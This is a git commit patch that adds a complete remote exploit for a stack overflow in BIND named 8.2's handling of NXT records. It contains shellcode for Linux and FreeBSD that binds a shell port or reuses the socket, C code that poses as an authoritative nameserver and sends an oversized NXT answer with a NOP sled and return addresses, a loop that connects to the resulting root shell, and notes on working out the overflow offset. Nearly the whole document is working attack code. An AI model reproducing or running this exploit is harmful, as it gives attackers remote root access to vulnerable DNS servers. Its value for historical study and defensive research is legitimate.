From 5d3573ef7a109ee70416fe94db098fe6a769a798 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Tue, 3 Mar 2026 06:28:55 +0000 Subject: packetstorm sync --- exploits/7350bindnxt/Makefile | 12 ++ exploits/7350bindnxt/code.c | 86 ++++++++ exploits/7350bindnxt/code.h | 21 ++ exploits/7350bindnxt/dnslib.c | 149 ++++++++++++++ exploits/7350bindnxt/dnslib.h | 25 +++ exploits/7350bindnxt/nxt.c | 462 ++++++++++++++++++++++++++++++++++++++++++ exploits/7350bindnxt/vulninfo | 53 +++++ 7 files changed, 808 insertions(+) create mode 100644 exploits/7350bindnxt/Makefile create mode 100644 exploits/7350bindnxt/code.c create mode 100644 exploits/7350bindnxt/code.h create mode 100644 exploits/7350bindnxt/dnslib.c create mode 100644 exploits/7350bindnxt/dnslib.h create mode 100644 exploits/7350bindnxt/nxt.c create mode 100644 exploits/7350bindnxt/vulninfo (limited to 'exploits/7350bindnxt') diff --git a/exploits/7350bindnxt/Makefile b/exploits/7350bindnxt/Makefile new file mode 100644 index 0000000..b13942a --- /dev/null +++ b/exploits/7350bindnxt/Makefile @@ -0,0 +1,12 @@ +CFLAGS = -Wall -O2 +OBJS = nxt.o dnslib.o code.o +CC = gcc + +all: nxt + +nxt: $(OBJS) + $(CC) $(OBJS) -o nxt + + +clean: + rm -rf *.o *~ nxt diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c new file mode 100644 index 0000000..1ce8ceb --- /dev/null +++ b/exploits/7350bindnxt/code.c @@ -0,0 +1,86 @@ + /**/ + +#include +#include "code.h" + +char linportshell[]= + /*chroot code - u can comment it out without making a difference*/ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe" + "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0" + "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47" + "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f" + "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3" + "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd" + "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" + "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d" + "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh"; + +char linpeername[]= + /* same chroot code */ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" + "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" + "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" + "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" + "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" + "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" + "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" + "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" + "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" + "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; + + /* only tested on freebsd */ +char bsdportshell[]= + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" + "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" + "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" + "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" + "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" + "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" + "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" + "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" + "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh"; + + +c0de linux_i386[ARCH_MAX]= + { + {linportshell, sizeof (linportshell)}, + {linpeername, sizeof (linpeername)}, + }; + +c0de bsd_i386[ARCH_MAX]= + { + {bsdportshell, sizeof (bsdportshell)}, + {NULL, 0} + }; + +c0de *archs[]= + { + linux_i386, + bsd_i386 + }; + +char *archs_str[]= + { + "linux i386", + "bsd i386" + }; + +char *code_str[]= + { + "portshell code", + "peername code" + }; diff --git a/exploits/7350bindnxt/code.h b/exploits/7350bindnxt/code.h new file mode 100644 index 0000000..c547e83 --- /dev/null +++ b/exploits/7350bindnxt/code.h @@ -0,0 +1,21 @@ +#ifndef CODE_H +#define CODE_H + +#define LINUX_I386 0x0 +#define BSD_I386 0x1 +#define ARCH_MAX 0x2 + +#define PORTSHELL 0x0 +#define PEERNAME 0x1 +#define TYPE_MAX 0x2 + +typedef struct c0de { + char *code; + int codesize; +} c0de; + +extern c0de *archs[]; +extern char *archs_str[], + *code_str[]; + +#endif /* CODE_H */ diff --git a/exploits/7350bindnxt/dnslib.c b/exploits/7350bindnxt/dnslib.c new file mode 100644 index 0000000..d1afb13 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.c @@ -0,0 +1,149 @@ +#include "dnslib.h" +#include +#include + +/* make a full dns query including header. Returns length of packet. + */ +int +makequery (char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id) +{ + HEADER *head; + + head = (HEADER *)buffer; + + bzero (head, DNSHDRSIZE); + head->id = htons (id); + head->qr = 0; + head->opcode = 0; + head->aa = 0; + head->tc = 0; + head->rd = 1; + head->ra = 0; + head->rcode = 0; + head->qdcount = htons (1); + head->ancount = 0; + head->nscount = 0; + head->arcount = 0; + + return (makeqbody (name, type, buffer + DNSHDRSIZE) + DNSHDRSIZE); +} + +/* convert a \0-terminated string to a DNS domain name. + * www.yahoo.com(.) => \003www\005yahoo\003\com\000 + */ +int +formatname (char *in, u_int8_t *out) +{ + char *start = in, c = 0; + int n = strlen (in); + + in += n - 1; + out += n + 1; + + *out-- = 0; + + n = 0; + while (in >= start) { + c = *in--; + if (c == '.') { + *out-- = n; + n = 0; + } else { + *out-- = c; + n++; + } + } + + if (n) + *out-- = n; + + return (strlen (out + 1) + 1); +} + +/* simple function for making a, ptr and ns resource records + * doesn't support more complicated stuph. + */ + +int +makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf) +{ + int n; + rrec_body *rec; + char *ptr = buf; + + /* name the resource record pertains too */ + ptr += formatname (name, ptr); + rec = (rrec_body *)ptr; + rec->type = htons (type); + rec->class = htons (class); + rec->ttl = htonl (ttl); + rec->rdlength = 0; + ptr += 10; + + switch (type) { + case T_A: + *(u_int32_t *)ptr = inet_addr (rdata); + rec->rdlength = htons (4); + ptr += 4; + break; + case T_PTR: + case T_NS: + n = formatname (rdata, ptr); + ptr += n; + rec->rdlength = htons (n); + break; + default: + /**/ + } + return (ptr - buf); +} + +/* make just the body of a DNS query. + */ +int +makeqbody (char *name, u_int16_t type, u_int8_t *buffer) +{ + int len; + + len = formatname (name, buffer); + buffer += len; + PUTSHORT (type, buffer); + PUTSHORT (C_IN, buffer); + return (len + 4); +} + + +/* uncompress compressed dns names. ugh. + * works for normal formatted dns names too.. + * returns the length of the first part of the compressed name (i.e. + * before redirection). + */ + +int +uncompress (u_int8_t *in, char *out, u_int8_t *msg) +{ + u_int8_t *start = in, *end = NULL; + u_int8_t len; + u_int16_t off; + + while ((len = *in++)) { + if (len & INDIR_MASK) { + if (end == NULL) + end = in + 1; + off = (len & ~INDIR_MASK); + off |= *in++ << 8; + off = ntohs (off); + in = msg + off; + continue; + } + memcpy (out, in, len); + out += len; + in += len; + *out++ = '.'; + } + if (end == NULL) + end = in; + *out++ = 0; + return (end - start); +} diff --git a/exploits/7350bindnxt/dnslib.h b/exploits/7350bindnxt/dnslib.h new file mode 100644 index 0000000..2beefe1 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.h @@ -0,0 +1,25 @@ +#ifndef DNSLIB_H +#define DNSLIB_H +#include +#include +#include +#include + +#define DNSHDRSIZE sizeof(HEADER) + +int makequery(char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id); +int makeqbody(char *name, u_int16_t type, u_int8_t *buffer); +int formatname(char *in, u_int8_t *out); +int uncompress(u_int8_t *in, char *out, u_int8_t *msg); + +typedef struct { + u_int16_t type; + u_int16_t class; + u_int32_t ttl; + u_int16_t rdlength; +} rrec_body; + +int makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf); + +#endif /* DNSLIB_H */ diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c new file mode 100644 index 0000000..090edb2 --- /dev/null +++ b/exploits/7350bindnxt/nxt.c @@ -0,0 +1,462 @@ +/* Preliminary exploit for named 8.2 on linux by z-. + * + * thx to horizon and jayenz. + * + * NB: u need to get the nameserver to query the exploit, something along + * the lines of: + * $ nslookup asdfasdf.urdomain.com victim.server.com + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "dnslib.h" +#include "code.h" + +#define DEBUG +#ifndef T_NXT +#define T_NXT 30 +#endif + +int connect_portshell (struct in_addr ip); +int run_shell (int fd); + +#define SLEEP 2 +#define CODE_PORT 17664 + +#define RET_CNT 16 /* number of times to repeat the return address */ +#define RET_POS 4133 /* distance till end of the buffer */ + +#define NOP 0x09 + +#define SA struct sockaddr + +typedef struct type { + char *name; + unsigned long ret; + int arch; +} type; + +type types[]= + { + {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386}, + {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */ + {NULL, 0, 0} + }; + +u_int type_cnt = (sizeof (types) / sizeof (type)) - 1, + victim_type = 0, + shellcode_type = PORTSHELL; + +char *ourdomain; + +void pfatal (char *s); +int resolv (char *hostname, struct in_addr *ip); +void usage (char *prog); + +/* actually make the egg to overflow the data[] buffer, including nops. + * returns length of egg. + */ +int +make_egg (char *ptr) +{ + u_int *ret_ptr; + c0de *c0de_ptr; + char *code; + int i, + codesize, + arch; + + + /* don't bother sanity checking here */ + + arch = types[victim_type].arch; + + c0de_ptr = archs[arch]; + + code = c0de_ptr[shellcode_type].code; + codesize = c0de_ptr[shellcode_type].codesize; + +#ifdef DEBUG + printf ("codesize = %d\n", codesize); +#endif + memset (ptr, NOP, RET_POS); + memcpy (ptr + RET_POS - codesize, code, codesize); + + /* risc alignment is evil ! */ + ret_ptr = (u_int *)(ptr + RET_POS); + for (i = 0; i < RET_CNT; i++) + *ret_ptr++ = types[victim_type].ret; + + return (RET_POS + 4 * RET_CNT); +} + +/* send exploit data to 'victim'. + * returns connected descriptor on succes + * returns -1 on error + */ +int +send_data (struct sockaddr_in *victim, char *buf, int len) +{ + struct sockaddr_in sin; + int fd; + u_short lennbo; + + fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) + return (-1); + + /* we need to bind to port 53 to appear as named */ + + bzero (&sin, sizeof (sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = htonl (INADDR_ANY); + sin.sin_port = htons (53); + + printf("Binding to local port 53...\n"); + if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) { + close (fd); + return (-1); + } + + victim->sin_port = htons (53); + + if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) { + close (fd); + return (-1); + } + + printf("Sending packet of length %d\n", len); + + lennbo = htons (len); + send (fd, &lennbo, sizeof(u_short), 0); + if (send (fd, buf, len, 0) < len) { + close (fd); + return (-1); + } + + return (fd); +} + +/* make the dns packet to exploit named and call send_data(). + * returns the result of send_data() + */ +int +send_exploit (u_char *buf, struct sockaddr_in *victim) +{ + u_char response[5120], + query[256], + tmp_str[100], + *ptr, *tmp; + u_short type; + HEADER *hdr; + + ptr = buf + DNSHDRSIZE; + ptr += uncompress (ptr, query, buf); + GETSHORT (type, ptr) + + printf("Query %s type %d\n", query, type); + + hdr = (HEADER *)response; + hdr->id = ((HEADER *)buf)->id; + hdr->qr = 1; /* answer */ + hdr->aa = 1; /* authoritative */ + hdr->qdcount = htons (1); + hdr->ancount = htons (1); + hdr->nscount = htons (0); + hdr->arcount = htons (1); + ptr = response + sizeof (HEADER); + + ptr += makeqbody (query, type, ptr); + + /* do the answer */ + switch (type) { + case T_A: + ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr); + break; + case T_PTR: + case T_NS: + sprintf (tmp_str, "rand0m.%s", ourdomain); + ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr); + break; + default: + printf("Krazy packetz\n"); + exit(-1); + } + + /* now do the overflow */ + /* first comes the query name again. + */ + ptr += formatname (query, ptr); + PUTSHORT (T_NXT, ptr); + PUTSHORT (C_IN, ptr); + PUTLONG (100000, ptr); + tmp = ptr; /* tmp points to rdlength */ + + /* now do rdata section. */ + ptr += 2; + /* first any domain u want, note the length affects the ret */ + ptr += formatname ("smiler", ptr); + /* then the arbitrary data */ + ptr += make_egg (ptr); + PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */ + + return (send_data (victim, response, ptr - response)); +} + +/* loop waiting for the query from 'victim'. + * returns the result of send_exploit() + */ +int +wait_for_connection (struct in_addr victim) +{ + struct sockaddr_in from; + u_char beef[512]; + int fd, + n, fromlen; + + fd = socket (AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + pfatal ("socket"); + + bzero (&from, sizeof(from)); + from.sin_addr.s_addr = htonl(INADDR_ANY); + from.sin_port = htons(53); + from.sin_family = AF_INET; + + if (bind (fd, (SA *)&from, sizeof(from)) < 0) + return (-1); + + printf ("Waiting for query packet from victim...\n"); + + for (;;) { + HEADER *ptr; + + fromlen = sizeof(from); + n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from, + &fromlen); + if (n <= 0) + return (-1); +#ifdef DEBUG + fprintf(stderr, "Packet from %s %d\n", inet_ntoa + (from.sin_addr), ntohs(from.sin_port)); +#endif + + if (from.sin_addr.s_addr != victim.s_addr) + continue; + +#ifndef DEBUG + fprintf (stderr, "Got packet from %s %d\n", + inet_ntoa (from.sin_addr), ntohs (from.sin_port)); +#endif + + ptr = (HEADER *)beef; + if (ptr->qr || !ptr->qdcount) + continue; + + close (fd); + return (send_exploit (beef, &from)); + break; + } + return (0); +} + +void +parse_opts (int argc, char **argv, struct in_addr *victim) +{ + char *argv0, + d; + int arch; + c0de *c0de_ptr; + + argv0 = strdup (argv[0]); + + while ((d = getopt (argc, argv, "s:t:")) != -1) { + switch (d) { + case 's': + shellcode_type = atol (optarg); + if (shellcode_type >= TYPE_MAX) { + fprintf (stderr, "shellcode out of range\n"); + exit (-1); + } + break; + case 't': + victim_type = atol (optarg); + if (victim_type >= type_cnt) { + fprintf (stderr, "No such type\n"); + exit (-1); + } + break; + } + } + + arch = types[victim_type].arch; + c0de_ptr = archs[arch]; + + if (c0de_ptr[shellcode_type].code == NULL) { + printf ("No %s for arch %s :(\n", + code_str[shellcode_type], archs_str[arch]); + exit (-1); + } + + argc -= optind; + argv += optind; + + if (argc < 2) + usage (argv0); + + if (!resolv (argv[0], victim)) { + herror ("resolv"); + exit (-1); + } + + ourdomain = strdup (argv[1]); + return; +} + +int +main (int argc, char **argv) +{ + struct in_addr victim; + int fd; + + puts ("NXT exploit by z-\n"); + + parse_opts (argc, argv, &victim); + + printf ("using type %d - %s\n", victim_type, types[victim_type].name); + printf ("exploit arch %s\n", archs_str[types[victim_type].arch]); + printf ("using %s\n", code_str[shellcode_type]); + + if ((fd = wait_for_connection (victim)) < 0) { + perror("ERROR"); + return (-1); + } + if (shellcode_type == PORTSHELL) { + close (fd); /* get rid of domain connection */ + printf("Sleeping for %d seconds\n", SLEEP); + sleep (SLEEP); + + /* and get the portshell connection */ + if ((fd = connect_portshell (victim)) < 0) { + perror ("connect_portshell"); + return (-1); + } + } + + if (run_shell (fd) < 0) { + perror ("connect_shell"); + return (-1); + } + + return (0); +} + +/* connects 'fd' to your term, effectively. + */ +int +run_shell (int fd) +{ + fd_set rset; + int n; + char buffer[4096]; + + send (fd, "/bin/uname -a\n", 14, 0); + + for (;;) { + FD_ZERO (&rset); + FD_SET (fd, &rset); + FD_SET (STDIN_FILENO, &rset); + + n = select (fd + 1, &rset, NULL, NULL, NULL); + if (n <= 0) + return (-1); + + if (FD_ISSET (fd, &rset)) { + n = recv (fd, buffer, sizeof (buffer), 0); + if (n <= 0) + break; + + write (STDOUT_FILENO, buffer, n); + } + + if (FD_ISSET (STDIN_FILENO, &rset)) { + n = read (STDIN_FILENO, buffer, sizeof (buffer)); + if (n <= 0) + break; + + send (fd, buffer, n, 0); + } + } + return (0); +} + +/* connect to the relevant high port. + */ +int +connect_portshell (struct in_addr ip) +{ + int fd; + struct sockaddr_in sin; + + printf ("Trying to connect to root shell...\n"); + + fd = socket (AF_INET, SOCK_STREAM, 0); + if (fd < 0) + return (-1); + + bzero (&sin, sizeof (sin)); + sin.sin_addr.s_addr = ip.s_addr; + sin.sin_port = htons (CODE_PORT); + sin.sin_family = AF_INET; + + if (connect (fd, (SA *)&sin, sizeof (sin)) < 0) + return (-1); + + return (fd); +} + +int +resolv (char *hostname, struct in_addr *ip) +{ + struct hostent *res; + + if (inet_aton (hostname, ip)) + return (1); + + res = gethostbyname (hostname); + if (res == NULL) + return (0); + + memcpy (ip, res->h_addr, sizeof (struct in_addr)); + return (1); +} + +void +usage (char *prog) +{ + type *ptr; + int ctr = 0; + + fprintf (stderr, "usage: %s [-t type] [-s shellcode type]\n", prog); + for (ptr = types; ptr->name; ptr += 1, ctr++) { + printf ("type %d: %s\n", ctr, ptr->name); + } + printf ("shellcode 0: portshell code\n"); + printf ("shellcode 1: peername code\n"); + exit(-1); +} + +void +pfatal (char *s) +{ + perror (s); + exit(-1); +} diff --git a/exploits/7350bindnxt/vulninfo b/exploits/7350bindnxt/vulninfo new file mode 100644 index 0000000..ce794e4 --- /dev/null +++ b/exploits/7350bindnxt/vulninfo @@ -0,0 +1,53 @@ +--here is the offending code + + n = dn_expand(msg, eom, cp, (char *)data, sizeof data); + if (n < 0) { + hp->rcode = FORMERR; + return (-1); + } + if (!ns_nameok((char *)data, class, NULL, response_trans, + domain_ctx, dname, from.sin_addr)) { + hp->rcode = FORMERR; + return (-1); + } + cp += n; + cp1 = data + strlen((char *)data) + 1; + memcpy(cp1, cp, dlen - n); + +-- + +This implys three things. + +firstly the format of the rdata section - it is important that u form this +correctly. in this case it is quite simple, a DNS domain name followed by +any arbitrary data :) Yes, even nulls ;) + +secondly the buffer will already contain the data from the DNS domain +name from the first part of the rdata section, and the arbitrary data +appends this data, hence u must take account of this when calculating the +ret distance. + +thirdly its just an ordinary stack overflow ('data' isn't declared +static), so it should be easy enough to exploit. + +the buffer in this case is of size MAXDATA*2 which, if u follow the macros, +evaluates to 4140 bytes. There are 12 other temporary variables in the +stack, each of size 4 bytes so, making no assumptions about how the +compiler decides to arrange them on the stack, u must send approx 14 +return addresses after the shellcode. note the buffer is fuqn huge so you +should have virtually no problems with the offset =) + +So if you use a DNS domain name of length 6 (e.g. \006smiler\000 =) +since it starts at 'data + strlen (data) + 1' then u need to put 4140 - 7 += 4133 bytes in the buffer to start overflowing and u need to follow that +with 14 ret addresses (56 bytes). In total that comes to 4190 bytes =) + +I haven't checked this out, but apparently u need to send this +data via tcp, because BIND refuses to read more than 512 bytes from a udp +packet, even if u fragment to allow it to be bigger than the MTU +(I managed to do this before, with an rpc call, to exploit rpc.mountd - +albeit only ~1100 bytes). + + +-smiler + -- cgit v1.3